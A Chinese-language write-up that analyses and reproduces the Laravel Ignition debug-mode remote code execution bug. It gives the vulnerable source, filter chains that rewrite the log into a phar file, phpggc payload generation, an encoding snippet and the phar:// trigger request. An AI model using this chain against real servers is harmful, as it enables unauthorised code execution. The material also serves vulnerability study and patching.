访问http://127.0.0.1:8000 直接500错误了,没搞定0 0
测试环境
- OS:
MAC OS
- PHP:
7.3.18
- Laravel:
8.22.0
环境搭建
根据原文(https://www.ambionics.io/blog/laravel-debug-rce)的搭建方式,把服务开起来。
访问http://127.0.0.1:8000/
可以看到这时候Ignition
(Laravel 6+默认错误页面生成器)给我们提供了一个solutions,让我们在配置文件中给Laravel配置一个加密key。
点击按钮后会发送一个请求
通过这个请求Ignition
成功在配置文件中生成了一个key。
接着页面就可以正常访问了,环境也就搭建完了
漏洞分析
漏洞其实就是发生在上面提到的Ignition
(<=2.5.1)中,Ignition
默认提供了以下几个solutions。
通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。
本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
过滤不严谨导致的。
首先我们到执行solution的控制器当中去,看看是如何调用到solution的
<?php
namespace Facade\Ignition\Http\Controllers;
use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
接着调用solution对象中的run()
方法,并将可控的parameters
参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()
<?php
namespace Facade\Ignition\Solutions;
use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
}
可以看到这里主要功能点是:读取一个给定的路径,并替换$variableName
为$variableName ?? ''
,之后写回文件中。
由于这里调用了file_get_contents()
,且其中的参数可控,所以这里可以通过phar://
协议去触发phar反序列化。
如果后期利用框架进行开发的人员,写出了一个文件上传的功能。那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()
去触发phar反序列化,达到rce的效果。
phar反序列化
从phpggc里拿一条laravel中存在的拓展的链子。
./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /Applications/MxSrvs/www/laravel/phar.gif
是可以成功利用的。
但是原文作者给出了一种基于框架触发phar反序列化的方法:将log文件变成合法的phar文件。
log 转 phar
先来看看正常的log文件长什么样
/storage/logs/laravel.log
[2021-01-14 04:32:43] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Applications/M...', 75, Array)
#1 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
#2 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional(Array)
#3 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run(Array)
#4 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke(Object(Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest), Object(Facade\\Ignition\\SolutionProviders\\SolutionProviderRepository))
#5 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController), '__invoke')
#6 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\\Routing\\Route->runController()
...
#34 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#35 /Applications/MxSrvs/www/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#36 /Applications/MxSrvs/www/laravel/server.php(21): require_once('/Applications/M...')
#37 {main}
"}
清空log文件
作者在文章中提出了使用php://filter
中的convert.base64-decode
过滤器的特性,将log清空。
可以看到convert.base64-decode
过滤器会将一些非base64字符给过滤掉后再进行decode
,所以可以通过调用多次convert.base64-decode
多次触发该特性来将log清空。
但是这样做其实会出现一些非预期的问题
如果在某次decode时,=
号后面出现了别的base64字符,那么php是会报一个Warning的。且由于laravel开启了debug模式,所以会触发Ignition
生成错误页面,导致decode后的字符没有成功写入。
根据这个思路的原理,我们可以将清空日志分成两个步骤:
- 使log文件尽量变成非base64字符
- 通过
convert.base64-decode
将所有非base64字符decode,达到清空的目的
作者在第一步使用的方法为多次convert.base64-decode
,但是这样可能会在其中的某一环报上面提到的错误。所以我们可以想办法找到另外一种方式达到第一步的目的。
原log文件
使用
convert.iconv.utf-8.utf-16be
(UTF-8 -> UTF-16BE)
使用
convert.quoted-printable-encode
(打印所有不可见字符)
- 使用
convert.iconv.utf-16be.utf-8
(UTF-16BE -> UTF-8)
可以看到经过这样操作后log文件中所有字符变成了非base64字符,这时候再使用convert.base64-decode
过滤器就可以成功清空了。
将上述链条和起来就是
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
这样我们就完成了第一步。
写入符合规范的phar文件
我们可以通过这里的file_get_contents()
去触发日志的记录
通过观察,我们可以发现log文件的格式其实是下面这样子的
[时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]
我们的PAYLOAD会在log文件中完整出现两次,我们最终需要让log文件变成我们的恶意Phar文件。所以我们还得继续对log文件进行操作。
原作者给出了一种使用convert.iconv.utf-16le.utf-8
将utf-16转成utf-8的方案
但是这里出现了两次PAYLOAD,我们可以在PAYLOAD后面添加一个字符,使得utf-16转成utf-8时总有一个PAYLOAD能被转换出来。
这样子就是我们预期的效果,因为除了PAYLOAD的部分都是非base64字符,只要我们将PAYLOAD进行base64编码后再decode即可把非base64字符消除掉。
但是这么做还会有一个问题,就是在file_get_contents()
传入\00
的时候php会报一个Warning,同样会触发Debug页面的报错。所以还得想办法将空字节(\00
)写入到log中。
好在php为了将不可见字符打印出来,给出了一个convert.quoted-printable-encode
过滤器
原理就是将字符转成ascii后前面加个=
号,将其打印出来。
而与之对应的convert.quoted-printable-decode
过滤器,则是相反。
原理是将等于号后面的ascii字符解码后,打印出来。
所以我们可以使用=00
代替\00
传入到file_get_contents()
中
所以完整和起来就是如下这样
php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.txt
这样就可以成功过滤掉其他干扰字符,将PAYLOAD送到log文件中。
踩坑
坑点1
如果直接根据作者给出的方式生成PAYLOAD,在到convert.quoted-printable-decode
过滤器的时候可能会出问题。
因为base64编码的特殊性,有时候在编码后的字符串后面会出现=
号,而使用convert.quoted-printable-decode
过滤器时会匹配=
号后面的ascii字符,如果没匹配到则会报错。
所以我们需要将=
号利用=3d
来替换
坑点2
上面提到了,我们的PAYLOAD在log文件中除了完整的两次,还有一部分的PAYLOAD也会出现在log文件中
可以看到这里,在最后面的=
号后的ascii字符被省略了,导致convert.quoted-printable-decode
过滤器再次报错,所以我们可以把第一个字符P
转成对应的=50
,从而让这里的=
号都能匹配上。
总结以上的坑点,发现都是=
号匹配不上的问题,所以干脆直接将payload都进行一次convert.quoted-printable-encode
编码。
写入
我们先来尝试写入一些普通字符
清空log文件
viewFile: php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
给log添加一条前缀
viewFile: AA
第三步:将需要写入的字符编码
第四步:将编码后的字符写入到log中
viewFile: =55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00
第五步:清空干扰字符
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
成功写入了任意字符,log文件的内容我们可控了。
完整利用
在laravel的依赖里面找一条能够rce的链,如monolog/rce1
。生成对应的phar文件,并将phar文件base64编码。
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0
PD9waHAgX19IQUxUX0NPTV ... gAAAEdCTUI=
再将该base64编码后的字符进行convert.quoted-printable-encode
编码
Python 3.9.0 (default, Nov 21 2020, 14:01:50)
[Clang 12.0.0 (clang-1200.0.32.27)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> s = 'PD9waHAgX19IQUxUX0NPTV ... gAAAEdCTUI='
>>> ''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
'=50=00=44=00=39= ... 00=55=00=49=00=3D=00'
>>>
写入到log文件
viewFile: =50=00=44=00=39= ... 00=55=00=49=00=3D=00
清空干扰字符
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
触发phar反序列化
viewFile: phar:///Applications/MxSrvs/www/laravel/storage/logs/laravel.log/test.txt
最后
至此整个漏洞就都分析复现完了,原文章中作者没有把一些坑点讲出来,导致复现的时候出现了很多非预期的bug。但是整体的思路还是非常厉害的。
除此之外,作者在最后还提到了一种利用ftp被动模式攻击php-fpm的方法,可以通过编写一个恶意的ftp服务端来实现。也是一种十分开脑洞的方法。